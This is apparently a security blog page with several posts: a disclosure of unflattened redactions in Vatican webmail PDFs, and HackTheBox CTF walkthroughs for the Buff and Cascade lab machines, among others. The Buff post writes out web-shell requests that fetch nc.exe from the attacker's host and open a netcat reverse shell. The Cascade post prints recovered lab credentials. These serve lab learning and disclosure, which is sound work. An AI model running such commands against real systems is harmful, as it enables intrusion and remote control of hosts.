Blog

  •

    How I stumbled over a vulnerability in the Vatican

    5.00 of 83 votes

    This is my write-up and walkthrough for a simple low-complexity but potentially high-impact vulnerability I identified within files hosted on the Vatican web app. This started as me looking for a domain to set up a dedicated BIND9 service on a new DNS server I was building. I was looking for a domain, and for reasons I won't go into here, wanted one for a particular use-case that leveraged the .va top-level domain (TLD). However, I quickly encountered a problem... I couldn't register a .va domain Different countries each have their own country code TLD. Generally, most countries allow for individuals outside of their citizenry to still register domains using their country code TLD. However, the .va TLD is reserved for the State of the Vatican City, is administered by the Internet Office of the Holy See (the Pope), and registrations are not permitted to those outside of the Vatican's administration. Having learned this from a few Google searches, and not knowing much about the Vatican, I decided to do some further research to see if there was any legitimate way around this. Perhaps an application form I could fill out? A higher fee I could pay? Maybe a contact number for the Pope so I could seek his blessing? I looked around the Vatican's official website located at https://vatican.va for some support. In doing so, I stumbled across the https://supportoposta.vatican.va subdomain, which seemed to point to a directory hosting internal user guides in PDF format for webmail configuration. Not exactly what I was looking for, but I was curious why this was publicly accessible. Internal user guides, whilst not always sensitive, can often allow attackers during their recon to learn a lot about the tools and technologies upon which a target organisation relies. I decided to check what information these configuration files contained. Two example pages are included below: Everything was in Italian. I can’t read Italian, and for obvious reasons was reluctant to start uploading text I couldn't understand from internal Vatican government files into a cloud US-based translator (such as Google Translate). Fortunately, the screenshot images were clear and having a background in IT meant I was already familiar with much of the mail-client configuration steps the documentation outlined. But something stood out to me - the blue-box redactions within the screenshots provided seemed too familiar. Why? Because I know these as the same blue boxes MS Word defaults to when selecting to insert rectangular shapes within MS Word documents. This tells me the PDF files hosted on the site were originally created in MS Word and likely exported from MS Word into PDF format. Why is this important? Because exporting MS Word documents to PDF doesn't flatten embedded content layers. Redacting an MS Word document The key to understanding how sensitive data can be embedded in a PDF document is that information hidden or covered in an electronic document, can easily be recovered. The solution is to ensure that sensitive information is not just visually hidden or made illegible, but is actually deleted from the source file. In some documents, deleting sections can cause an undesirable reflow of text and graphics. If document formatting is a critical issue, this document provides some methods for maintaining that formatting. I checked if the redaction layers were removable by simply copying the embedded content back into an MS Word document, then selecting those layers and deleting them. It worked. But there were multiple PDF files with many redactions that I couldn’t translate, so to speed things up I did what I thought cyber Jesus would do. I downloaded everything, used a local OCR (Optical Character Recognition) software to extract all text data from the files, and parsed their output through a translator to generate new editable documents in English. After removing the redactions and reviewing all the user guides properly in English, I identified three to be of potential value to an attacker. Whilst these files are unredacted copies of their originals, I opted to manually blur out any residual data I felt could enable an adversary to identify data subjects. Zimba MFA Config Shared Calendar Config Mail Encryption Config As can be seen within the partially redacted versions of these documents (I manually removed all PII), they expose: 2FA backup code allowing an attacker to generate valid one-time 2FA codes 1024 bit PGP private key PGP private key passphrase for decryption and message signing Internal directory paths for CalDAV configuration Internal email communications Internal calendar schedules Names and email addresses of internal staff   Conclusion I feel it worth noting that this type of oversight, which can amount to sensitive data exposure, remains as prevalent today as it was over a decade ago. Redaction failure episodes are still commonly reported in the media, and this highlights the ongoing tech challenges associated with what traditionally only required a black pen and paper. The key take-away from this, albeit an obvious one, is that humans are naturally fallible and we all make mistakes. The document publisher, where potentially identified, should not be the subject of focus, but rather the adopted redaction practice and process itself. I hope that by documenting this report here it might help raise awareness of this issue and prevent others from making the same mistake in the future. Repeat attempts were made to contact the Vatican regarding this report over the course of three months. They were also served adequate prior notice of this write-up. I will update this blog post should I receive a response.

  •

    I hacked the Dutch government and all I got was this t-shirt

    • General
    • by Jacob Riggs
    • 04-05-2021
    4.99 of 88 votes

    The NCSC-NL (National Cyber Security Centre – Netherlands) sent me a ‘lousy’ t-shirt on behalf of the Dutch government. Together with the t-shirt was a thank you letter.Thank you for bringing a vulnerability to our attention. Together with vulnerability reporters like you we can increase the resilience of Dutch society in the digital domain and better protect our systems and systems of our partners. This was a pleasant response to receive and illustrates a far better approach to engaging with ethical hackers than traditional threats of prosecution. However, there’s been some past controversy within the security community on whether this type of reward disincentivises ethical hacker participation by undermining the value inherent in VDP and bug bounty programs. Some argue that the effort researchers need to invest in helping to find and responsibly report vulnerabilities to government organisations far outweighs the level of compensation value these novelty rewards are worth. My view is that expectations should be managed realistically, and maybe the focus should shift away from pursuing personal gain to instead encouraging wider public sector adoption of better security practices. I’m happy with my t-shirt and appreciate the efforts the NCSC-NL went to. It’s certainly a better response than some of the other governments I’ve reported vulnerabilities to.

  •

    Why I choose to keep my employer information hidden

    4.99 of 106 votes

    The security community widely accepts that participating in social media within a white-hat capacity can naturally bring about undesirable interactions. This is why many security professionals opt to maintain a strict separation between their online activities and their personal lives. The reality is that one can no longer freely participate in social media whilst also remaining independent from the consequences of it. Over the years I’ve had my fair share of online run-ins with skids, anonymous trolls, and even suspect APTs to know that my employment relationship can risk falling into their scope of targeting. Participation in online spaces seems to require a growing degree of caution, which only serves to restrict our behavioural options and limit how freely we’re able to express ourselves. This reality is best evidenced by the often seen common-sense disclaimer “my views are my own”, a proclamation sadly made necessary by the prevalence of ‘woke’ snowflake communities and their associated cancel culture campaigns. Our elected career path is often a life-choice characteristic upon which we are judged, as is our choice of employer. For this reason I've opted to redact my current employer information from my CV and any other online channels.

  •

    [CTF] HTB Buff write-up walkthrough

    4.31 of 167 votes

    This is my write-up and walkthrough for the Buff (10.10.10.198) box user flag. Buff is a Windows machine with multiple CVEs which are relatively easy to identify. I found this box much simpler than some of the others in my recent write-ups and would definitely recommend it to anyone new to CTFs. When commencing this engagement, Buff was listed in HTB (hackthebox) with an easy difficulty rating.   Walkthrough To get started, I spun up a fresh Kali instance and generated my HTB lab keys. I then connected my Kali instance via HTB's OpenVPN configuration file and pinged the target 10.10.10.198 to check if my instance could reach the Buff machine. As always, I opted to add the target machine IP address to my /etc/hosts file. To do this I navigated to the /etc/hosts file. And I added the target IP address and assigned it an identifier label buff Now this was set, I could begin my standard recon. Aligning with my previous write-ups, I used Nmap, which is an open-source network scanner designed to discover hosts, services, and open ports. My objective was to identify what ports might be open on the target machine. I ran Nmap with the flags sudo nmap -sS -sC -sV buff -oN scan These flags told Nmap to do the following: -sS - Instructs Nmap to not complete the three-way handshake so the connection attempt is not logged on the target. -sC - Instructs Nmap to scan with default NSE scripts, which is useful and safe for discovery. -sV - Instructs Nmap to determine the version of any services running on the ports. The Nmap scan results indicated port 8080 was open and running an Apache web server. I visited the IP address in my browser (port 8080). The web server produced a fitness website, so I browsed through the pages. When I landed on the Contact page, I noticed there was no form or information. However, there was information which indicated the site was "Made using Gym Management Software 1.0", signed with the copyright label © Projectworlds.in in the page footer.I decided to search Google to see if I could find a copy of the software version 1.0 online. The first result served a page from exploit-db.com, which indicated this software already contained a known vulnerability and there was a prepackaged payload available to exploit it.This detailed that the software was vulnerable to an Unauthenticated File Upload vulnerability allowing remote attackers to gain Remote Code Execution (RCE) on the host by uploading a maliciously crafted PHP file that bypassed image upload filters. I proceeded to download this exploit. And then deployed it against the target host. I then uploaded a native netcat binary from my Kali instance using cp /usr/share/windows-binaries/nc.exe . I then uploaded a plink binary from my Kali instance using cp /usr/share/windows-binaries/plink.exe . And ran a HTTP server using python -m SimpleHTTPServer to handle directory files. From here I then visited http://buff:8080/upload/kamehameha.php?telepathy=curl -O 10.10.14.6:1337/nc.exe in my browser which used curl to run a configured netcat listener on the host. I then visited http://buff:8080/upload/kamehameha.php?telepathy=curl -O 10.10.14.6:1337/plink.exe in my browser which used curl to enable SSH access. With netcat and plink configured on the host I then proceeded to set up a listener locally, configured using nc -lvvnp 1337 to listen on port 1337 And then visited http://buff:8080/upload/kamehameha.php?telepathy=nc 10.10.14.6:1337 -e cmd.exe in my browser to execute cmd.exe (command prompt) on the host within an interactive shell. My local netcat listener confirmed my reverse shell was successfully established. Using the command dir identified the user flag within the /upload directory. Using type user.txt allowed me to read the file to access the flag. I did also find a copy of the user flag within the C:/Users/shaun/Desktop directory, so I'm unsure if someone copied it to the /upload folder before the box was reset.  

  •

    [CTF] HTB Cascade write-up walkthrough

    4.93 of 111 votes

    This is my write-up and walkthrough for the Cascade box. When commencing this engagement, Cascade was listed in HTB (hackthebox) with a medium difficulty rating. Walkthrough To get started, I spun up a fresh Kali instance and generated my HTB lab keys. I then connected my Kali instance via HTB's OpenVPN configuration file and pinged the target 10.10.10.182 to check if my instance could reach the Cascade machine. As always, I opted to add the target machine IP address to my /etc/hosts file. To do this I navigated to the /etc/hosts file. And I added the target IP address and assigned it an identifier label cascade Now this was set, I could begin my standard recon. Aligning with my previous write-ups, I used Nmap, which is an open-source network scanner designed to discover hosts, services, and open ports. My objective was to identify what ports might be open on the target machine. I ran Nmap with the flags sudo nmap -sS -sC -sV cascade -oN scan These flags told Nmap to do the following: -sS - Instructs Nmap to not complete the three-way handshake so the connection attempt is not logged on the target. -sC - Instructs Nmap to scan with default NSE scripts, which is useful and safe for discovery. -sV - Instructs Nmap to determine the version of any services running on the ports. The Nmap scan results indicated a number of ports were open. As this was a Windows machine, I considered ports 53, 88, 139, 445, and 5985 important. I decided to run enum4linux to try to enumerate further information. This pulled a lot of information, some of which was information on the workgroup user's table. Next I used ldapsearch and ran some automated LDAP queries to see if I could enumerate any further information on the LDAP directory. As I expected this to generate a lot of data, I output the results to a text file. I then opened the file using cat and used less to see if I could identify any LegacyPwd strings. This proved successful and allowed me to identify a base64 encoded legacy password for the r.thompson user account.I then decoded this using Kali's native base64 decoder which gave me the password rY4n5eva I then opened a Samba client using the smbclient utility and tried to connect using the r.thompson and rY4n5eva credentials. I did some mapping and noticed that the Data$ sharename provided access to some additional directories. Digging further into the /IT directory identified a folder named /Email Archives which contained a file named Meeting_Notes_June_2018.html I decided to use mget to download everything locally. I then inspected the Meeting_Notes_June_2018.html file. This showed an internal email from the user Steve Smith advising the IT department that an account named TempAdmin was created with the same login credentials as the administrator. As Steve Smith implied they had the privileges to perform this action, I went back to the files I had previously downloaded using mget from the /IT directory, focusing specifically on the VNC Install.reg file pulled from the /s.smith subfolder of the /Temp directory. Unsurprisingly, this file contained a hex password value. I did some searches on Google and found a popular tool for decoding VNC passwords was vncpwd.exe (File Hash: 7A8DB90DA4FF58A9284E7DB88CEA95CFD817914F). Running this against the encoded string produced the decoded password of sT333ve2 Using the credentials s.smith and sT333ve2 with Evil-WinRM allowed me to get a shell and access the user flag. Conclusion This was a fun box and I found it quite realistic too. Admittedly, I only managed to get the user flag (again) and needed some advice from the community along the way, but I'm satisfied with where I got in the end. I recognise I need to brush up on my priv esc skills and hope to find the root flag on this box and others in the future.

  • What are honeypots and honeynets?

    • General
    • by Jacob Riggs
    • 14-07-2020
    4.99 of 108 votes

    Believe it or not, sometimes admins will design systems to attract attackers. Working in information security, one of my favourite defensive strategies to deploy in operational practice involves the use of honeypots and honeynets. These tightly controlled decoy mechanisms are designed to entice attackers, rob them of their time, and help with profiling attack intent, objectives, and origin. Honeypots Honeypots are a useful way for admins to learn more about an adversary's objectives by intentionally exposing a machine that appears to be a highly valuable and sometimes unprotected target. Although a honeypot may seem legitimate to an attacker, honeypots are typically isolated from normal internal networks and configured in such a way that all interactive activity can be monitored and logged. This has several benefits from a defensive point of view. By convincing an attacker to focus their efforts on a designated honeypot endpoint, an administrator can gain insight into an attacker's tactics, techniques, and procesures (TTPs). This can be used to predict attack execution behaviour, or even aid in attribution and identifying where the attack may have originated from. Furthermore, honeypots may delay an attacker, buying administrators crucial time to respond, or force attackers to exhaust their own resources pursuing fruitless tasks. Honeypots have been in use for several decades, but they have often been costly to deploy because this typically meant dedicating actual hardware to face attackers, thus reducing what infrastructure could be reserved for production purposes. Furthermore, in order to engage an attacker for any significant amount of time, a honeypot needs to look like a real (and ideally valuable) network node, which means sitting in the attacker's seat and putting some thought into what software and data should be deployed on it. This all takes lots of time and traditionally was not practical for very large deployments. However, virtualisation addresses many of the challenges associated with administering honeypot machines because virtualised infrastructure is designed to scale easily. Honeynets A honeynet is an entire network designed to attract attackers. The benefits of its use are the same as that of honeypots, but honeynets are designed to look like real network environments, complete with real operating systems, applications, services, and associated network traffic. Honeypots can be thought of as a highly interactive set of honeypots, providing realistic feedback just as a real network would. For both honeypots and honeynets, deployed services are not actually used in production, so there shouldn't be any reason for any legitimate interaction with the servers. This makes it easy to recognise that any prolonged interaction with deployed services usually implies malicious intent. It follows that traffic from external hosts in a honeynet is usually indicative of attack behaviour and not as likely to be a false positive generated by expected network traffic.As with individual honeypots, all activity is monitored, recorded, and security controls optimised to balance the liklihood of any attack occurence with the ease of attack execution. As with honeypots, virtualisation has also improved the performance of honeynets, allowing for varied and easily scalable network configurations on existing hardware infrastructure.